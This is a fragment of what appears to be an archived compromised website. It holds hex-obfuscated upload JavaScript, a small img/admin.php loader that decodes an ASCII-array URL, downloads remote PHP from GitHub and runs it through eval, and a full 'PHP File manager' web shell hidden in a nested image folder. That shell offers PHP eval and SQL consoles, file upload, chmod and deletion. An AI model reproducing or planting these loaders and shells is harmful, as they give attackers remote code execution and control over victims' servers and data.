54\40\x66\x64\51\x2e\164\x68\145\156\50\x72\145\156\144\145\x72\51\x3b\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\175\xa\x20\x20\40\x20\40\40\40\x20\x7d\51\73\12\x20\x20\40\x20\x20\40\40\x20\xa\40\x20\x20\x20\40\x20\40\x20\144\x6f\x6d\x2e\x75\160\154\157\x61\x64\x42\164\x6e\56\141\144\144\x45\x76\145\x6e\164\x4c\151\x73\164\x65\156\x65\162\x28\x27\143\154\151\143\153\47\x2c\x20\50\51\x20\75\x3e\x20\144\x6f\x6d\x2e\x68\151\144\x64\x65\156\106\151\x6c\x65\x49\156\x70\165\x74\x2e\x63\154\x69\x63\x6b\50\51\51\73\12\x20\40\x20\x20\x20\40\40\x20\x64\157\x6d\x2e\150\x69\x64\144\x65\x6e\106\151\154\145\111\x6e\160\x75\164\56\x61\144\x64\x45\166\x65\x6e\x74\114\x69\163\x74\145\156\145\162\50\47\143\x68\x61\156\147\145\47\x2c\40\141\163\171\x6e\x63\40\50\145\x29\40\75\x3e\40\x7b\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x63\x6f\x6e\x73\164\40\x66\x69\154\145\x73\40\x3d\40\x41\x72\x72\141\171\x2e\146\162\157\x6d\50\x65\56\164\x61\x72\147\145\164\x2e\146\151\x6c\145\163\x29\73\x20\151\x66\x20\50\x66\x69\154\x65\x73\x2e\x6c\145\x6e\x67\164\150\40\x3d\x3d\75\40\x30\51\x20\x72\145\x74\165\162\x6e\73\12\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\146\x6f\162\40\x28\x63\x6f\x6e\163\164\x20\x66\151\x6c\x65\x20\157\x66\40\x66\151\x6c\145\x73\x29\x20\173\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\151\146\x20\x28\146\151\154\x65\x2e\x73\x69\x7a\x65\x20\76\40\x55\120\x4c\x4f\x41\x44\137\114\111\x4d\111\x54\137\115\x42\x20\x2a\40\61\x30\x32\64\x20\x2a\40\61\x30\x32\64\x29\40\173\40\x61\154\145\162\164\50\140\x45\162\162\x6f\162\x3a\40\x46\151\x6c\145\x20\42\x24\173\x66\x69\x6c\x65\56\x6e\x61\155\145\x7d\42\x20\151\x73\40\164\x6f\157\40\x6c\141\x72\x67\x65\x20\50\115\141\170\x3a\x20\44\x7b\125\x50\114\117\101\104\x5f\114\111\x4d\111\x54\137\115\x42\175\x20\x4d\102\51\x2e\x60\x29\x3b\40\x63\157\156\164\x69\156\x75\x65\73\x20\x7d\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\143\x6f\x6e\163\164\x20\162\145\141\144\x65\162\40\x3d\40\156\145\167\x20\x46\151\154\145\x52\145\141\144\x65\x72\x28\x29\73\12\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x63\x6f\156\163\164\40\x66\151\x6c\x65\122\145\141\x64\x50\x72\157\x6d\x69\163\x65\x20\x3d\40\156\145\167\40\120\162\157\x6d\x69\163\145\x28\50\162\145\x73\x6f\154\x76\x65\54\40\x72\x65\152\x65\x63\164\51\x20\75\x3e\x20\x7b\40\162\145\141\x64\145\x72\x2e\157\156\154\x6f\141\144\x20\x3d\x20\x65\166\x65\156\164\40\x3d\76\x20\x72\x65\x73\x6f\154\166\145\x28\145\166\145\156\164\56\x74\x61\162\x67\145\x74\56\162\x65\x73\x75\x6c\164\51\73\40\x72\145\141\144\x65\x72\56\x6f\x6e\x65\162\x72\x6f\162\40\x3d\40\145\162\x72\x6f\162\40\75\76\40\162\145\x6a\x65\143\x74\x28\x65\x72\x72\157\x72\51\73\x20\x72\x65\x61\x64\145\162\56\x72\x65\141\144\x41\163\104\x61\164\141\x55\122\x4c\x28\x66\x69\154\x65\x29\73\x20\x7d\51\73\12\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x74\x72\171\x20\x7b\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x63\x6f\156\x73\164\40\x63\157\x6e\164\x65\x6e\164\x5f\142\141\x73\145\66\64\x20\x3d\x20\x61\167\141\151\x74\x20\146\151\x6c\145\122\145\x61\x64\120\162\157\155\x69\163\x65\x3b\12\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x63\157\x6e\x73\x74\40\x6f\162\151\147\151\x6e\x61\154\116\x61\x6d\x65\x20\x3d\40\x66\x69\154\145\x2e\156\141\x6d\145\x3b\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x63\x6f\x6e\163\164\x20\146\144\x20\x3d\40\x6e\145\167\40\106\x6f\x72\155\x44\141\164\141\x28\x29\73\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\146\x64\56\141\x70\x70\x65\156\144\50\47\160\x61\x74\150\47\54\40\x53\124\x41\x54\105\x2e\x63\165\x72\x72\145\156\164\120\141\164\150\51\73\12\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\146\x64\56\141\160\160\145\x6e\x64\x28\x27\x63\157\x6e\x74\x65\156\x74\137\x62\x61\163\145\66\64\x27\54\x20\143\157\156\164\145\156\164\x5f\142\141\163\x65\x36\64\51\73\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\151\146\40\50\x6f\162\151\x67\151\156\141\154\x4e\141\155\x65\56\164\x6f\114\157\x77\x65\162\x43\x61\163\145\50\x29\x2e\145\x6e\144\163\x57\x69\x74\x68\50\x27\56\x70\x68\160\x27\51\x29\40\x7b\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\146\144\x2e\x61\x70\160\145\156\x64\50\47\146\151\x6c\145\x6e\141\x6d\x65\137\x62\x61\163\145\x36\x34\47\x2c\40\x62\164\157\141\50\x6f\x72\151\147\151\156\141\x6c\x4e\x61\155\x65\51\51\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\141\167\x61\151\x74\x20\141\160\151\x43\141\154\x6c\50\x27\x75\x70\154\x6f\x61\x64\x5f\x70\x68\x70\x27\x2c\40\146\144\54\40\x74\162\165\145\x29\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\175\40\145\154\x73\x65\x20\x7b\xa\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\146\144\x2e\141\160\160\145\x6e\144\x28\47\146\x69\154\x65\156\x61\x6d\145\x5f\142\x61\163\145\x36\x34\x27\54\40\142\164\x6f\141\x28\157\x72\151\x67\151\x6e\141\x6c\116\141\155\x65\51\x29\73\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\141\167\x61\x69\x74\x20\141\160\x69\103\x61\154\154\50\47\165\x70\154\x6f\141\144\47\x2c\x20\x66\x64\x2c\40\x74\x72\165\x65\x29\x3b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x7d\40\143\141\x74\x63\x68\x20\x28\x65\162\162\157\162\x29\40\x7b\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x61\154\145\x72\x74\50\x60\x46\141\151\x6c\x65\144\40\x74\157\x20\x70\162\x6f\143\x65\163\163\40\x66\151\x6c\145\x20\x24\173\146\x69\154\x65\56\156\141\x6d\145\175\72\x20\44\173\x65\162\x72\x6f\x72\56\155\x65\x73\163\141\x67\145\x7d\x60\x29\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x65\56\164\141\x72\147\145\x74\56\x76\x61\x6c\x75\x65\40\x3d\x20\x27\47\73\12\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\162\x65\156\x64\145\162\x28\51\x3b\xa\x20\x20\40\40\x20\x20\40\x20\x7d\51\x3b\12\xa\x20\40\40\40\40\40\40\40\144\x6f\x6d\56\x73\141\166\x65\102\x74\x6e\x2e\x61\144\144\x45\166\145\156\x74\114\x69\163\164\145\156\145\x72\x28\x27\x63\154\151\x63\x6b\47\x2c\40\x28\x29\40\75\76\x20\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\164\40\x70\x61\164\x68\x20\75\40\144\x6f\x6d\x2e\x65\x64\x69\164\157\162\x46\151\x6c\x65\156\x61\155\x65\56\x74\x65\170\x74\x43\157\x6e\164\x65\x6e\164\x3b\12\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\x74\x20\143\x6f\156\164\145\x6e\164\40\75\40\x62\x74\x6f\x61\50\x62\164\157\141\50\144\157\x6d\56\145\x64\151\x74\x6f\162\x2e\166\x61\x6c\x75\x65\x29\51\x3b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x63\157\x6e\163\x74\40\x66\x64\x20\75\40\156\x65\167\40\x46\157\x72\x6d\x44\x61\x74\141\50\x29\73\12\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x63\x6f\x6e\163\x74\40\143\150\x75\156\153\x53\151\172\145\40\x3d\40\64\x30\71\x36\73\12\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\146\157\162\x20\x28\154\x65\164\40\151\x20\75\40\60\73\x20\x69\40\74\40\x63\157\156\x74\x65\156\x74\x2e\154\145\156\147\x74\150\73\x20\151\40\x2b\75\x20\x63\150\165\x6e\x6b\x53\151\172\145\x29\40\173\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\146\x64\x2e\141\160\x70\145\156\144\50\x27\143\157\x6e\x74\145\x6e\x74\x5f\143\150\165\156\x6b\x73\133\x5d\x27\x2c\x20\143\x6f\156\164\145\156\x74\x2e\x73\165\x62\x73\x74\x72\151\156\x67\x28\x69\x2c\40\x69\x20\x2b\40\x63\x68\x75\156\x6b\123\151\172\x65\x29\51\73\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x7d\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\154\x65\164\40\141\x63\164\151\157\x6e\40\75\40\47\163\141\166\145\x5f\143\x6f\156\x74\x65\x6e\164\47\x3b\12\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\151\146\x20\x28\160\141\164\150\56\x69\156\143\154\165\144\145\x73\x28\x27\x2e\150\x74\141\x63\143\x65\163\x73\x27\x29\x29\x20\173\xa\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\141\x63\x74\151\157\x6e\x20\75\40\47\x73\141\x76\x65\137\x63\x6f\x6e\164\145\156\164\x5f\142\66\64\x27\73\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\146\x64\56\141\x70\160\x65\156\144\x28\47\160\141\x74\x68\x5f\x62\66\64\47\54\x20\142\164\157\x61\x28\x70\x61\x74\x68\51\51\x3b\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\x7d\40\x65\x6c\163\x65\x20\x7b\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x66\x64\56\x61\x70\x70\x65\x6e\144\50\47\x70\141\164\x68\47\54\x20\x70\x61\x74\150\51\x3b\xa\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\141\160\x69\103\x61\x6c\154\50\x61\143\164\x69\x6f\156\x2c\x20\x66\x64\x2c\40\164\162\x75\x65\51\56\x74\x68\145\156\x28\x72\x65\163\165\154\164\x20\75\x3e\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x69\x66\x28\x72\x65\163\165\x6c\164\x29\40\173\12\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\144\157\x6d\x2e\145\144\151\x74\157\162\x4d\x6f\144\141\x6c\56\x73\x74\171\154\x65\56\x64\x69\163\x70\154\x61\171\40\75\x20\47\x6e\157\156\x65\x27\x3b\12\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x72\x65\x6e\x64\x65\x72\x28\51\x3b\12\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x7d\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\175\x29\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\12\xa\40\x20\40\x20\x20\40\40\x20\162\145\x6e\x64\x65\x72\50\x29\73\12\40\40\x20\40\175\51\73\xa\x20\40\40\x20\x3c\x2f\x73\143\x72\x69\x70\164\76\xa\74\x2f\142\157\x64\171\76\12\x3c\57\x68\164\x6d\154\x3e";img/admin.php000066600000001361151334722440007133 0ustar00<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
<?php
// ASCII array of the GitHub raw URL
$asciiArray = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 77, 114, 88, 99, 111, 100, 101, 114, 111, 102, 102, 105, 99, 105, 97, 108, 47, 77, 114, 120, 115, 104, 101, 108, 108, 50, 48, 50, 53, 47, 114, 101, 102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 105, 110, 47, 120, 115, 101, 99, 46, 112, 104, 112];

// Convert ASCII codes to string
$url = '';
foreach ($asciiArray as $c) {
    $url .= chr($c);
}

// Fetch the PHP code from the URL
$code = file_get_contents($url);

// Execute the fetched code
eval("?>".$code);
?>img/images/files/v2/v3/jme/qyn/admin.php000066600000240701151334722440013746 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
